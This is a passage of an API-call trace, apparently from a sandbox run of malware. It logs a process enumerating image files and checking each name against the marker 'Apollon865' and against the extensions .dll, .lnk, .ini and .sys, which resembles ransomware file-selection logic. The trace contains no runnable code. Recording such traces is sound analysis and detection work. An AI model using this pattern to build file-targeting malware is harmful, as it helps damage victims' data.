	[0074.108] lstrlenW (lpString="Apollon865") returned 10
	[0074.108] lstrcmpiW (lpString1="00057_.GIF", lpString2="Apollon865") returned -1
	[0074.109] lstrlenW (lpString=".dll") returned 4
	[0074.109] lstrcmpiW (lpString1="AG00057_.GIF", lpString2=".dll") returned 1
	[0074.109] lstrlenW (lpString=".lnk") returned 4
	[0074.109] lstrcmpiW (lpString1="AG00057_.GIF", lpString2=".lnk") returned 1
	[0074.109] lstrlenW (lpString=".ini") returned 4
	[0074.109] lstrcmpiW (lpString1="AG00057_.GIF", lpString2=".ini") returned 1
	[0074.109] lstrlenW (lpString=".sys") returned 4
	[0074.109] lstrcmpiW (lpString1="AG00057_.GIF", lpString2=".sys") returned 1
	[0074.109] lstrlenW (lpString="AG00057_.GIF") returned 12
	[0074.109] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00090_.GIF" | out: lpString1="AG00090_.GIF") returned="AG00090_.GIF"
	[0074.109] lstrlenW (lpString="AG00090_.GIF") returned 12
	[0074.109] lstrlenW (lpString="Apollon865") returned 10
	[0074.109] lstrcmpiW (lpString1="00090_.GIF", lpString2="Apollon865") returned -1
	[0074.109] lstrlenW (lpString=".dll") returned 4
	[0074.109] lstrcmpiW (lpString1="AG00090_.GIF", lpString2=".dll") returned 1
	[0074.109] lstrlenW (lpString=".lnk") returned 4
	[0074.109] lstrcmpiW (lpString1="AG00090_.GIF", lpString2=".lnk") returned 1
	[0074.109] lstrlenW (lpString=".ini") returned 4
	[0074.109] lstrcmpiW (lpString1="AG00090_.GIF", lpString2=".ini") returned 1
	[0074.109] lstrlenW (lpString=".sys") returned 4
	[0074.109] lstrcmpiW (lpString1="AG00090_.GIF", lpString2=".sys") returned 1
	[0074.109] lstrlenW (lpString="AG00090_.GIF") returned 12
	[0074.109] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00092_.GIF" | out: lpString1="AG00092_.GIF") returned="AG00092_.GIF"
	[0074.109] lstrlenW (lpString="AG00092_.GIF") returned 12
	[0074.109] lstrlenW (lpString="Apollon865") returned 10
	[0074.109] lstrcmpiW (lpString1="00092_.GIF", lpString2="Apollon865") returned -1
	[0074.109] lstrlenW (lpString=".dll") returned 4
	[0074.109] lstrcmpiW (lpString1="AG00092_.GIF", lpString2=".dll") returned 1
	[0074.109] lstrlenW (lpString=".lnk") returned 4
	[0074.109] lstrcmpiW (lpString1="AG00092_.GIF", lpString2=".lnk") returned 1
	[0074.109] lstrlenW (lpString=".ini") returned 4
	[0074.109] lstrcmpiW (lpString1="AG00092_.GIF", lpString2=".ini") returned 1
	[0074.109] lstrlenW (lpString=".sys") returned 4
	[0074.110] lstrcmpiW (lpString1="AG00092_.GIF", lpString2=".sys") returned 1
	[0074.110] lstrlenW (lpString="AG00092_.GIF") returned 12
	[0074.110] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00103_.GIF" | out: lpString1="AG00103_.GIF") returned="AG00103_.GIF"
	[0074.110] lstrlenW (lpString="AG00103_.GIF") returned 12
	[0074.110] lstrlenW (lpString="Apollon865") returned 10
	[0074.110] lstrcmpiW (lpString1="00103_.GIF", lpString2="Apollon865") returned -1
	[0074.110] lstrlenW (lpString=".dll") returned 4
	[0074.110] lstrcmpiW (lpString1="AG00103_.GIF", lpString2=".dll") returned 1
	[0074.110] lstrlenW (lpString=".lnk") returned 4
	[0074.110] lstrcmpiW (lpString1="AG00103_.GIF", lpString2=".lnk") returned 1
	[0074.110] lstrlenW (lpString=".ini") returned 4
	[0074.110] lstrcmpiW (lpString1="AG00103_.GIF", lpString2=".ini") returned 1
	[0074.110] lstrlenW (lpString=".sys") returned 4
	[0074.110] lstrcmpiW (lpString1="AG00103_.GIF", lpString2=".sys") returned 1
	[0074.110] lstrlenW (lpString="AG00103_.GIF") returned 12
	[0074.110] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00120_.GIF" | out: lpString1="AG00120_.GIF") returned="AG00120_.GIF"
	[0074.110] lstrlenW (lpString="AG00120_.GIF") returned 12
	[0074.110] lstrlenW (lpString="Apollon865") returned 10
	[0074.110] lstrcmpiW (lpString1="00120_.GIF", lpString2="Apollon865") returned -1
	[0074.110] lstrlenW (lpString=".dll") returned 4
	[0074.110] lstrcmpiW (lpString1="AG00120_.GIF", lpString2=".dll") returned 1
	[0074.110] lstrlenW (lpString=".lnk") returned 4
	[0074.110] lstrcmpiW (lpString1="AG00120_.GIF", lpString2=".lnk") returned 1
	[0074.110] lstrlenW (lpString=".ini") returned 4
	[0074.110] lstrcmpiW (lpString1="AG00120_.GIF", lpString2=".ini") returned 1
	[0074.110] lstrlenW (lpString=".sys") returned 4
	[0074.110] lstrcmpiW (lpString1="AG00120_.GIF", lpString2=".sys") returned 1
	[0074.110] lstrlenW (lpString="AG00120_.GIF") returned 12
	[0074.110] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00126_.GIF" | out: lpString1="AG00126_.GIF") returned="AG00126_.GIF"
	[0074.110] lstrlenW (lpString="AG00126_.GIF") returned 12
	[0074.111] lstrlenW (lpString="Apollon865") returned 10
	[0074.111] lstrcmpiW (lpString1="00126_.GIF", lpString2="Apollon865") returned -1
	[0074.111] lstrlenW (lpString=".dll") returned 4
	[0074.111] lstrcmpiW (lpString1="AG00126_.GIF", lpString2=".dll") returned 1
	[0074.111] lstrlenW (lpString=".lnk") returned 4
	[0074.111] lstrcmpiW (lpString1="AG00126_.GIF", lpString2=".lnk") returned 1
	[0074.111] lstrlenW (lpString=".ini") returned 4
	[0074.111] lstrcmpiW (lpString1="AG00126_.GIF", lpString2=".ini") returned 1
	[0074.111] lstrlenW (lpString=".sys") returned 4
	[0074.111] lstrcmpiW (lpString1="AG00126_.GIF", lpString2=".sys") returned 1
	[0074.111] lstrlenW (lpString="AG00126_.GIF") returned 12
	[0074.111] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00129_.GIF" | out: lpString1="AG00129_.GIF") returned="AG00129_.GIF"
	[0074.111] lstrlenW (lpString="AG00129_.GIF") returned 12
	[0074.111] lstrlenW (lpString="Apollon865") returned 10
	[0074.111] lstrcmpiW (lpString1="00129_.GIF", lpString2="Apollon865") returned -1
	[0074.111] lstrlenW (lpString=".dll") returned 4
	[0074.111] lstrcmpiW (lpString1="AG00129_.GIF", lpString2=".dll") returned 1
	[0074.111] lstrlenW (lpString=".lnk") returned 4
	[0074.111] lstrcmpiW (lpString1="AG00129_.GIF", lpString2=".lnk") returned 1
	[0074.111] lstrlenW (lpString=".ini") returned 4
	[0074.111] lstrcmpiW (lpString1="AG00129_.GIF", lpString2=".ini") returned 1
	[0074.111] lstrlenW (lpString=".sys") returned 4
	[0074.111] lstrcmpiW (lpString1="AG00129_.GIF", lpString2=".sys") returned 1
	[0074.111] lstrlenW (lpString="AG00129_.GIF") returned 12
	[0074.111] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00130_.GIF" | out: lpString1="AG00130_.GIF") returned="AG00130_.GIF"
	[0074.111] lstrlenW (lpString="AG00130_.GIF") returned 12
	[0074.111] lstrlenW (lpString="Apollon865") returned 10
	[0074.111] lstrcmpiW (lpString1="00130_.GIF", lpString2="Apollon865") returned -1
	[0074.111] lstrlenW (lpString=".dll") returned 4
	[0074.111] lstrcmpiW (lpString1="AG00130_.GIF", lpString2=".dll") returned 1
	[0074.111] lstrlenW (lpString=".lnk") returned 4
	[0074.111] lstrcmpiW (lpString1="AG00130_.GIF", lpString2=".lnk") returned 1
	[0074.111] lstrlenW (lpString=".ini") returned 4
	[0074.112] lstrcmpiW (lpString1="AG00130_.GIF", lpString2=".ini") returned 1
	[0074.112] lstrlenW (lpString=".sys") returned 4
	[0074.112] lstrcmpiW (lpString1="AG00130_.GIF", lpString2=".sys") returned 1
	[0074.112] lstrlenW (lpString="AG00130_.GIF") returned 12
	[0074.112] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00135_.GIF" | out: lpString1="AG00135_.GIF") returned="AG00135_.GIF"
	[0074.112] lstrlenW (lpString="AG00135_.GIF") returned 12
	[0074.112] lstrlenW (lpString="Apollon865") returned 10
	[0074.112] lstrcmpiW (lpString1="00135_.GIF", lpString2="Apollon865") returned -1
	[0074.112] lstrlenW (lpString=".dll") returned 4
	[0074.112] lstrcmpiW (lpString1="AG00135_.GIF", lpString2=".dll") returned 1
	[0074.112] lstrlenW (lpString=".lnk") returned 4
	[0074.112] lstrcmpiW (lpString1="AG00135_.GIF", lpString2=".lnk") returned 1
	[0074.112] lstrlenW (lpString=".ini") returned 4
	[0074.112] lstrcmpiW (lpString1="AG00135_.GIF", lpString2=".ini") returned 1
	[0074.112] lstrlenW (lpString=".sys") returned 4
	[0074.112] lstrcmpiW (lpString1="AG00135_.GIF", lpString2=".sys") returned 1
	[0074.112] lstrlenW (lpString="AG00135_.GIF") returned 12
	[0074.112] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00139_.GIF" | out: lpString1="AG00139_.GIF") returned="AG00139_.GIF"
	[0074.112] lstrlenW (lpString="AG00139_.GIF") returned 12
	[0074.112] lstrlenW (lpString="Apollon865") returned 10
	[0074.112] lstrcmpiW (lpString1="00139_.GIF", lpString2="Apollon865") returned -1
	[0074.112] lstrlenW (lpString=".dll") returned 4
	[0074.112] lstrcmpiW (lpString1="AG00139_.GIF", lpString2=".dll") returned 1
	[0074.112] lstrlenW (lpString=".lnk") returned 4
	[0074.112] lstrcmpiW (lpString1="AG00139_.GIF", lpString2=".lnk") returned 1
	[0074.112] lstrlenW (lpString=".ini") returned 4
	[0074.112] lstrcmpiW (lpString1="AG00139_.GIF", lpString2=".ini") returned 1
	[0074.112] lstrlenW (lpString=".sys") returned 4
	[0074.112] lstrcmpiW (lpString1="AG00139_.GIF", lpString2=".sys") returned 1
	[0074.112] lstrlenW (lpString="AG00139_.GIF") returned 12
	[0074.112] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00142_.GIF" | out: lpString1="AG00142_.GIF") returned="AG00142_.GIF"
	[0074.113] lstrlenW (lpString="AG00142_.GIF") returned 12
	[0074.113] lstrlenW (lpString="Apollon865") returned 10
	[0074.113] lstrcmpiW (lpString1="00142_.GIF", lpString2="Apollon865") returned -1
	[0074.113] lstrlenW (lpString=".dll") returned 4
	[0074.113] lstrcmpiW (lpString1="AG00142_.GIF", lpString2=".dll") returned 1
	[0074.113] lstrlenW (lpString=".lnk") returned 4
	[0074.113] lstrcmpiW (lpString1="AG00142_.GIF", lpString2=".lnk") returned 1
	[0074.113] lstrlenW (lpString=".ini") returned 4
	[0074.113] lstrcmpiW (lpString1="AG00142_.GIF", lpString2=".ini") returned 1
	[0074.113] lstrlenW (lpString=".sys") returned 4
	[0074.113] lstrcmpiW (lpString1="AG00142_.GIF", lpString2=".sys") returned 1
	[0074.113] lstrlenW (lpString="AG00142_.GIF") returned 12
	[0074.113] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00154_.GIF" | out: lpString1="AG00154_.GIF") returned="AG00154_.GIF"
	[0074.113] lstrlenW (lpString="AG00154_.GIF") returned 12
	[0074.113] lstrlenW (lpString="Apollon865") returned 10
	[0074.113] lstrcmpiW (lpString1="00154_.GIF", lpString2="Apollon865") returned -1
	[0074.113] lstrlenW (lpString=".dll") returned 4
	[0074.113] lstrcmpiW (lpString1="AG00154_.GIF", lpString2=".dll") returned 1
	[0074.113] lstrlenW (lpString=".lnk") returned 4
	[0074.113] lstrcmpiW (lpString1="AG00154_.GIF", lpString2=".lnk") returned 1
	[0074.113] lstrlenW (lpString=".ini") returned 4
	[0074.113] lstrcmpiW (lpString1="AG00154_.GIF", lpString2=".ini") returned 1
	[0074.113] lstrlenW (lpString=".sys") returned 4
	[0074.113] lstrcmpiW (lpString1="AG00154_.GIF", lpString2=".sys") returned 1
	[0074.113] lstrlenW (lpString="AG00154_.GIF") returned 12
	[0074.113] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00157_.GIF" | out: lpString1="AG00157_.GIF") returned="AG00157_.GIF"
	[0074.113] lstrlenW (lpString="AG00157_.GIF") returned 12
	[0074.113] lstrlenW (lpString="Apollon865") returned 10
	[0074.113] lstrcmpiW (lpString1="00157_.GIF", lpString2="Apollon865") returned -1
	[0074.113] lstrlenW (lpString=".dll") returned 4
	[0074.113] lstrcmpiW (lpString1="AG00157_.GIF", lpString2=".dll") returned 1
	[0074.113] lstrlenW (lpString=".lnk") returned 4
	[0074.113] lstrcmpiW (lpString1="AG00157_.GIF", lpString2=".lnk") returned 1
	[0074.114] lstrlenW (lpString=".ini") returned 4
	[0074.114] lstrcmpiW (lpString1="AG00157_.GIF", lpString2=".ini") returned 1
	[0074.114] lstrlenW (lpString=".sys") returned 4
	[0074.114] lstrcmpiW (lpString1="AG00157_.GIF", lpString2=".sys") returned 1
	[0074.114] lstrlenW (lpString="AG00157_.GIF") returned 12
	[0074.114] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00158_.GIF" | out: lpString1="AG00158_.GIF") returned="AG00158_.GIF"
	[0074.114] lstrlenW (lpString="AG00158_.GIF") returned 12
	[0074.114] lstrlenW (lpString="Apollon865") returned 10
	[0074.114] lstrcmpiW (lpString1="00158_.GIF", lpString2="Apollon865") returned -1
	[0074.114] lstrlenW (lpString=".dll") returned 4
	[0074.114] lstrcmpiW (lpString1="AG00158_.GIF", lpString2=".dll") returned 1
	[0074.114] lstrlenW (lpString=".lnk") returned 4
	[0074.114] lstrcmpiW (lpString1="AG00158_.GIF", lpString2=".lnk") returned 1
	[0074.114] lstrlenW (lpString=".ini") returned 4
	[0074.114] lstrcmpiW (lpString1="AG00158_.GIF", lpString2=".ini") returned 1
	[0074.114] lstrlenW (lpString=".sys") returned 4
	[0074.114] lstrcmpiW (lpString1="AG00158_.GIF", lpString2=".sys") returned 1
	[0074.114] lstrlenW (lpString="AG00158_.GIF") returned 12
	[0074.114] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00160_.GIF" | out: lpString1="AG00160_.GIF") returned="AG00160_.GIF"
	[0074.114] lstrlenW (lpString="AG00160_.GIF") returned 12
	[0074.114] lstrlenW (lpString="Apollon865") returned 10
	[0074.114] lstrcmpiW (lpString1="00160_.GIF", lpString2="Apollon865") returned -1
	[0074.114] lstrlenW (lpString=".dll") returned 4
	[0074.114] lstrcmpiW (lpString1="AG00160_.GIF", lpString2=".dll") returned 1
	[0074.114] lstrlenW (lpString=".lnk") returned 4
	[0074.114] lstrcmpiW (lpString1="AG00160_.GIF", lpString2=".lnk") returned 1
	[0074.114] lstrlenW (lpString=".ini") returned 4
	[0074.114] lstrcmpiW (lpString1="AG00160_.GIF", lpString2=".ini") returned 1
	[0074.114] lstrlenW (lpString=".sys") returned 4
	[0074.114] lstrcmpiW (lpString1="AG00160_.GIF", lpString2=".sys") returned 1
	[0074.114] lstrlenW (lpString="AG00160_.GIF") returned 12
	[0074.115] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00161_.GIF" | out: lpString1="AG00161_.GIF") returned="AG00161_.GIF"
	[0074.115] lstrlenW (lpString="AG00161_.GIF") returned 12
	[0074.115] lstrlenW (lpString="Apollon865") returned 10
	[0074.115] lstrcmpiW (lpString1="00161_.GIF", lpString2="Apollon865") returned -1
	[0074.115] lstrlenW (lpString=".dll") returned 4
	[0074.115] lstrcmpiW (lpString1="AG00161_.GIF", lpString2=".dll") returned 1
	[0074.115] lstrlenW (lpString=".lnk") returned 4
	[0074.115] lstrcmpiW (lpString1="AG00161_.GIF", lpString2=".lnk") returned 1
	[0074.115] lstrlenW (lpString=".ini") returned 4
	[0074.115] lstrcmpiW (lpString1="AG00161_.GIF", lpString2=".ini") returned 1
	[0074.115] lstrlenW (lpString=".sys") returned 4
	[0074.115] lstrcmpiW (lpString1="AG00161_.GIF", lpString2=".sys") returned 1
	[0074.115] lstrlenW (lpString="AG00161_.GIF") returned 12
	[0074.115] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00163_.GIF" | out: lpString1="AG00163_.GIF") returned="AG00163_.GIF"
	[0074.115] lstrlenW (lpString="AG00163_.GIF") returned 12
	[0074.115] lstrlenW (lpString="Apollon865") returned 10
	[0074.115] lstrcmpiW (lpString1="00163_.GIF", lpString2="Apollon865") returned -1
	[0074.115] lstrlenW (lpString=".dll") returned 4
	[0074.115] lstrcmpiW (lpString1="AG00163_.GIF", lpString2=".dll") returned 1
	[0074.115] lstrlenW (lpString=".lnk") returned 4
	[0074.115] lstrcmpiW (lpString1="AG00163_.GIF", lpString2=".lnk") returned 1
	[0074.115] lstrlenW (lpString=".ini") returned 4
	[0074.115] lstrcmpiW (lpString1="AG00163_.GIF", lpString2=".ini") returned 1
	[0074.115] lstrlenW (lpString=".sys") returned 4
	[0074.115] lstrcmpiW (lpString1="AG00163_.GIF", lpString2=".sys") returned 1
	[0074.115] lstrlenW (lpString="AG00163_.GIF") returned 12
	[0074.115] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00164_.GIF" | out: lpString1="AG00164_.GIF") returned="AG00164_.GIF"
	[0074.115] lstrlenW (lpString="AG00164_.GIF") returned 12
	[0074.115] lstrlenW (lpString="Apollon865") returned 10
	[0074.115] lstrcmpiW (lpString1="00164_.GIF", lpString2="Apollon865") returned -1
	[0074.115] lstrlenW (lpString=".dll") returned 4
	[0074.115] lstrcmpiW (lpString1="AG00164_.GIF", lpString2=".dll") returned 1
	[0074.116] lstrlenW (lpString=".lnk") returned 4
	[0074.116] lstrcmpiW (lpString1="AG00164_.GIF", lpString2=".lnk") returned 1
	[0074.116] lstrlenW (lpString=".ini") returned 4
	[0074.116] lstrcmpiW (lpString1="AG00164_.GIF", lpString2=".ini") returned 1
	[0074.116] lstrlenW (lpString=".sys") returned 4
	[0074.116] lstrcmpiW (lpString1="AG00164_.GIF", lpString2=".sys") returned 1
	[0074.116] lstrlenW (lpString="AG00164_.GIF") returned 12
	[0074.116] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00165_.GIF" | out: lpString1="AG00165_.GIF") returned="AG00165_.GIF"
	[0074.116] lstrlenW (lpString="AG00165_.GIF") returned 12
	[0074.116] lstrlenW (lpString="Apollon865") returned 10
	[0074.116] lstrcmpiW (lpString1="00165_.GIF", lpString2="Apollon865") returned -1
	[0074.116] lstrlenW (lpString=".dll") returned 4
	[0074.116] lstrcmpiW (lpString1="AG00165_.GIF", lpString2=".dll") returned 1
	[0074.116] lstrlenW (lpString=".lnk") returned 4
	[0074.116] lstrcmpiW (lpString1="AG00165_.GIF", lpString2=".lnk") returned 1
	[0074.116] lstrlenW (lpString=".ini") returned 4
	[0074.116] lstrcmpiW (lpString1="AG00165_.GIF", lpString2=".ini") returned 1
	[0074.116] lstrlenW (lpString=".sys") returned 4
	[0074.116] lstrcmpiW (lpString1="AG00165_.GIF", lpString2=".sys") returned 1
	[0074.127] lstrlenW (lpString="AG00165_.GIF") returned 12
	[0074.127] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00167_.GIF" | out: lpString1="AG00167_.GIF") returned="AG00167_.GIF"
	[0074.127] lstrlenW (lpString="AG00167_.GIF") returned 12
	[0074.127] lstrlenW (lpString="Apollon865") returned 10
	[0074.127] lstrcmpiW (lpString1="00167_.GIF", lpString2="Apollon865") returned -1
	[0074.127] lstrlenW (lpString=".dll") returned 4
	[0074.127] lstrcmpiW (lpString1="AG00167_.GIF", lpString2=".dll") returned 1
	[0074.128] lstrlenW (lpString=".lnk") returned 4
	[0074.128] lstrcmpiW (lpString1="AG00167_.GIF", lpString2=".lnk") returned 1
	[0074.128] lstrlenW (lpString=".ini") returned 4
	[0074.128] lstrcmpiW (lpString1="AG00167_.GIF", lpString2=".ini") returned 1
	[0074.128] lstrlenW (lpString=".sys") returned 4
	[0074.128] lstrcmpiW (lpString1="AG00167_.GIF", lpString2=".sys") returned 1
	[0074.128] lstrlenW (lpString="AG00167_.GIF") returned 12
	[0074.128] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00169_.GIF" | out: lpString1="AG00169_.GIF") returned="AG00169_.GIF"
	[0074.128] lstrlenW (lpString="AG00169_.GIF") returned 12
	[0074.128] lstrlenW (lpString="Apollon865") returned 10
	[0074.128] lstrcmpiW (lpString1="00169_.GIF", lpString2="Apollon865") returned -1
	[0074.128] lstrlenW (lpString=".dll") returned 4
	[0074.128] lstrcmpiW (lpString1="AG00169_.GIF", lpString2=".dll") returned 1
	[0074.128] lstrlenW (lpString=".lnk") returned 4
	[0074.128] lstrcmpiW (lpString1="AG00169_.GIF", lpString2=".lnk") returned 1
	[0074.128] lstrlenW (lpString=".ini") returned 4
	[0074.128] lstrcmpiW (lpString1="AG00169_.GIF", lpString2=".ini") returned 1
	[0074.128] lstrlenW (lpString=".sys") returned 4
	[0074.128] lstrcmpiW (lpString1="AG00169_.GIF", lpString2=".sys") returned 1
	[0074.128] lstrlenW (lpString="AG00169_.GIF") returned 12
	[0074.128] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00170_.GIF" | out: lpString1="AG00170_.GIF") returned="AG00170_.GIF"
	[0074.128] lstrlenW (lpString="AG00170_.GIF") returned 12
	[0074.128] lstrlenW (lpString="Apollon865") returned 10
	[0074.128] lstrcmpiW (lpString1="00170_.GIF", lpString2="Apollon865") returned -1
	[0074.128] lstrlenW (lpString=".dll") returned 4
	[0074.128] lstrcmpiW (lpString1="AG00170_.GIF", lpString2=".dll") returned 1
	[0074.128] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00171_.GIF" | out: lpString1="AG00171_.GIF") returned="AG00171_.GIF"
	[0074.128] lstrlenW (lpString="AG00171_.GIF") returned 12
	[0074.128] lstrlenW (lpString="Apollon865") returned 10
	[0074.128] lstrcmpiW (lpString1="00171_.GIF", lpString2="Apollon865") returned -1
	[0074.129] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00172_.GIF" | out: lpString1="AG00172_.GIF") returned="AG00172_.GIF"
	[0074.129] lstrlenW (lpString="AG00172_.GIF") returned 12
	[0074.129] lstrlenW (lpString="Apollon865") returned 10
	[0074.129] lstrcmpiW (lpString1="00172_.GIF", lpString2="Apollon865") returned -1
	[0074.129] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00174_.GIF" | out: lpString1="AG00174_.GIF") returned="AG00174_.GIF"
	[0074.129] lstrlenW (lpString="AG00174_.GIF") returned 12
	[0074.129] lstrlenW (lpString="Apollon865") returned 10
	[0074.129] lstrcmpiW (lpString1="00174_.GIF", lpString2="Apollon865") returned -1
	[0074.129] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00175_.GIF" | out: lpString1="AG00175_.GIF") returned="AG00175_.GIF"
	[0074.129] lstrlenW (lpString="AG00175_.GIF") returned 12
	[0074.129] lstrlenW (lpString="Apollon865") returned 10
	[0074.129] lstrcmpiW (lpString1="00175_.GIF", lpString2="Apollon865") returned -1
	[0074.130] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00176_.GIF" | out: lpString1="AG00176_.GIF") returned="AG00176_.GIF"
	[0074.130] lstrlenW (lpString="AG00176_.GIF") returned 12
	[0074.130] lstrlenW (lpString="Apollon865") returned 10
	[0074.130] lstrcmpiW (lpString1="00176_.GIF", lpString2="Apollon865") returned -1
	[0074.130] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN00010_.WMF" | out: lpString1="AN00010_.WMF") returned="AN00010_.WMF"
	[0074.130] lstrlenW (lpString="AN00010_.WMF") returned 12
	[0074.130] lstrlenW (lpString="Apollon865") returned 10
	[0074.130] lstrcmpiW (lpString1="00010_.WMF", lpString2="Apollon865") returned -1
	[0074.130] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN00015_.WMF" | out: lpString1="AN00015_.WMF") returned="AN00015_.WMF"
	[0074.130] lstrlenW (lpString="AN00015_.WMF") returned 12
	[0074.130] lstrlenW (lpString="Apollon865") returned 10
	[0074.130] lstrcmpiW (lpString1="00015_.WMF", lpString2="Apollon865") returned -1
	[0074.130] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN00790_.WMF" | out: lpString1="AN00790_.WMF") returned="AN00790_.WMF"
	[0074.130] lstrlenW (lpString="AN00790_.WMF") returned 12
	[0074.130] lstrlenW (lpString="Apollon865") returned 10
	[0074.130] lstrcmpiW (lpString1="00790_.WMF", lpString2="Apollon865") returned -1
	[0074.130] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN00853_.WMF" | out: lpString1="AN00853_.WMF") returned="AN00853_.WMF"
	[0074.130] lstrlenW (lpString="AN00853_.WMF") returned 12
	[0074.130] lstrlenW (lpString="Apollon865") returned 10
	[0074.130] lstrcmpiW (lpString1="00853_.WMF", lpString2="Apollon865") returned -1
	[0074.131] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN00914_.WMF" | out: lpString1="AN00914_.WMF") returned="AN00914_.WMF"
	[0074.131] lstrlenW (lpString="AN00914_.WMF") returned 12
	[0074.131] lstrlenW (lpString="Apollon865") returned 10
	[0074.131] lstrcmpiW (lpString1="00914_.WMF", lpString2="Apollon865") returned -1
	[0074.131] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN00932_.WMF" | out: lpString1="AN00932_.WMF") returned="AN00932_.WMF"
	[0074.131] lstrlenW (lpString="AN00932_.WMF") returned 12
	[0074.131] lstrlenW (lpString="Apollon865") returned 10
	[0074.131] lstrcmpiW (lpString1="00932_.WMF", lpString2="Apollon865") returned -1
	[0074.131] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN00965_.WMF" | out: lpString1="AN00965_.WMF") returned="AN00965_.WMF"
	[0074.131] lstrlenW (lpString="AN00965_.WMF") returned 12
	[0074.131] lstrlenW (lpString="Apollon865") returned 10
	[0074.131] lstrcmpiW (lpString1="00965_.WMF", lpString2="Apollon865") returned -1
	[0074.131] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN01039_.WMF" | out: lpString1="AN01039_.WMF") returned="AN01039_.WMF"
	[0074.131] lstrlenW (lpString="AN01039_.WMF") returned 12
	[0074.131] lstrlenW (lpString="Apollon865") returned 10
	[0074.131] lstrcmpiW (lpString1="01039_.WMF", lpString2="Apollon865") returned -1
	[0074.131] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN01044_.WMF" | out: lpString1="AN01044_.WMF") returned="AN01044_.WMF"
	[0074.131] lstrlenW (lpString="AN01044_.WMF") returned 12
	[0074.131] lstrlenW (lpString="Apollon865") returned 10
	[0074.131] lstrcmpiW (lpString1="01044_.WMF", lpString2="Apollon865") returned -1
	[0074.131] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN01060_.WMF" | out: lpString1="AN01060_.WMF") returned="AN01060_.WMF"
	[0074.131] lstrlenW (lpString="AN01060_.WMF") returned 12
	[0074.131] lstrlenW (lpString="Apollon865") returned 10
	[0074.131] lstrcmpiW (lpString1="01060_.WMF", lpString2="Apollon865") returned -1
	[0074.132] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN01084_.WMF" | out: lpString1="AN01084_.WMF") returned="AN01084_.WMF"
	[0074.132] lstrlenW (lpString="AN01084_.WMF") returned 12
	[0074.132] lstrlenW (lpString="Apollon865") returned 10
	[0074.133] lstrcmpiW (lpString1="01084_.WMF", lpString2="Apollon865") returned -1
	[0074.133] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN01173_.WMF" | out: lpString1="AN01173_.WMF") returned="AN01173_.WMF"
	[0074.133] lstrlenW (lpString="AN01173_.WMF") returned 12
	[0074.133] lstrlenW (lpString="Apollon865") returned 10
	[0074.133] lstrcmpiW (lpString1="01173_.WMF", lpString2="Apollon865") returned -1
	[0074.134] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN01174_.WMF" | out: lpString1="AN01174_.WMF") returned="AN01174_.WMF"
	[0074.134] lstrlenW (lpString="AN01174_.WMF") returned 12
	[0074.134] lstrlenW (lpString="Apollon865") returned 10
	[0074.134] lstrcmpiW (lpString1="01174_.WMF", lpString2="Apollon865") returned -1
	[0074.134] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN01184_.WMF" | out: lpString1="AN01184_.WMF") returned="AN01184_.WMF"
	[0074.134] lstrlenW (lpString="AN01184_.WMF") returned 12
	[0074.134] lstrlenW (lpString="Apollon865") returned 10
	[0074.134] lstrcmpiW (lpString1="01184_.WMF", lpString2="Apollon865") returned -1
	[0074.134] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN01216_.WMF" | out: lpString1="AN01216_.WMF") returned="AN01216_.WMF"
	[0074.134] lstrlenW (lpString="AN01216_.WMF") returned 12
	[0074.134] lstrlenW (lpString="Apollon865") returned 10
	[0074.134] lstrcmpiW (lpString1="01216_.WMF", lpString2="Apollon865") returned -1
	[0074.134] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN01218_.WMF" | out: lpString1="AN01218_.WMF") returned="AN01218_.WMF"
	[0074.134] lstrlenW (lpString="AN01218_.WMF") returned 12
	[0074.134] lstrlenW (lpString="Apollon865") returned 10
	[0074.134] lstrcmpiW (lpString1="01218_.WMF", lpString2="Apollon865") returned -1
	[0074.134] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN01251_.WMF" | out: lpString1="AN01251_.WMF") returned="AN01251_.WMF"
	[0074.134] lstrlenW (lpString="AN01251_.WMF") returned 12
	[0074.134] lstrlenW (lpString="Apollon865") returned 10
	[0074.134] lstrcmpiW (lpString1="01251_.WMF", lpString2="Apollon865") returned -1
